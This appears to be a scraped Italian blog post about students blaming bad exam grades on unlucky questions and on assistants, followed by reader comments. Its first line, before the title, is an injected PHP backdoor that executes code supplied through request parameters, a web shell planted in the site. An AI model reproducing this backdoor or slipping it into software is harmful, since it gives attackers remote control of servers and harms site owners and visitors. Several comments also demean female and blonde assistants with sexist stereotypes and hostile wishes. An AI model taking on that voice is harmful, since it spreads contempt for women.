if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d37f062be323b6a488879b979d14843a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Se c’avevo le rote ero un carretto | Confessioni di Una Mente Dubbiosa

Se c’avevo le rote ero un carretto

Al liceo la mia scusa era “guarda mamma che il compito di matematica è andato male a tutti” e con quello io consegnavo ufficialmente il mio alibi, anche se la risposta era sempre la stessa (“non me ne frega di quell’attri“). Adesso mi ritrovo a dire “se mi avesse fatto le domande giuste avrei sicuramente preso 30. Senza problemi eh”.

13 Responses to “Se c’avevo le rote ero un carretto”

  1. LeggeParziale scrive:

    Se c’avevo voja scrivevo un commento.

  2. ruccia scrive:

    Giusto, la regola del “mal comune mezzo gaudio” vale sempre! yes

  3. KAN scrive:

    … ma le domande giuste sono tipo “come ti chiami? di che segno sei? quante dita sono?”, oppure sono comunque inerenti alla materia di studio?

    perche’ se sono inerenti allora e’ una buona scusa. grinnod

  4. MonicaGellerB scrive:

    Sono inerenti.
    Ad esempio: se ci sono 30 domande possibili per un esame in particolare, 25 sono le domande dove io potrei rispondere in modo da poter prendere un voto alto.
    Certo, se la prima domanda che mi fai sta nelle cinque che non so o so pochissimo…

  5. Charlotte scrive:

    Nel 99% dei casi, se non sai bene un argomento ti chiederanno quello.
    Ma perchè non ci chiedono solo le cose che sappiamo?? 8) perchè tanta sfiga???

  6. MonicaGellerB scrive:

    Guarda, credo di aver avuto fortuna in un esame solo una volta – e infatti presi 30 – quando mi capitò un tizio assistente che non conosceva il programma. Quindi, sfogliando il libro e chiedendomi se questo o quest’altro fosse nel programma di esame, io dicevo no a tutto quello che non sapevo.
    “Bene, 30″.
    E te credo.

  7. ilari scrive:

    l’unica volta che mi è capitato un assistente che non conosceva il programma, di un’altra facoltà e che faceva le domande guardando gli argomenti dall’indice del libro mi ha chiesto una cosa che davvero non era scritta da nessuna parte, di un argomento su cui c’erano 3 righe sul libro…

  8. MonicaGellerB scrive:

    Ripeterò fino alla morte che gli assistenti sono la razza peggiore. Io una volta feci una figura di merda con una tizia che me la ricorderò tutta la vita: fine esame, mi mette 25, firma e tutto e poi e mi dice che su certe cose non sapevo molto, con quell’aria da saccentoni tipica dell’assistente.
    Mia risposta “E’ vero, ma è anche vero che il libro è scritto molto male”.
    Sua risposta “L’ho scritto io”.
    “……………………………”

  9. Charlotte scrive:

    Monica, però ti sei tolta una grande soddisfazione! Tanto il voto te l’aveva già messo!
    Concordo, la peggiore razza sono gli assistenti, anzi, LE assistenti BIONDE.

  10. MonicaGellerB scrive:

    Sì ma infatti l’ho detto solo per quello, nel momento in cui mi ha ridato il libretto ho sputato la rabbia accumulata, che gli assistenti sono suscettibili ed insicuri, per questo sono stronzi.
    Comunque, in generale, le assistenti donne dovrebbero essere VIETATE in tutte le università e penalmente perseguibili. Le bionde poi. Ne conosco una che manderei volentieri al macero.

  11. Gambero scrive:

    Assistente/Profe donna etero:
    . student.ssa puntare su abbigliamento sciatto, occhiali spessi, sguardo basso.
    . studente camicia, occhiale da vista, abbronzatura medio-bassa, occhio vispo.

    Ripetere con le altre opzioni, prego

  12. stick scrive:

    io all’università usavo scuse diverse, tipo che la prof era in evidente stato interessante o in menopausa, che il prof aveva appena tamponato e quindi era isterico…basta un pò di immaginazione.

  13. MonicaGellerB scrive:

    Figurati, la scusa del professore che non tromba mai e per questo se la rifa su poveri studenti è una delle più gettonate. Come quella dell’assistente acida e frigida.

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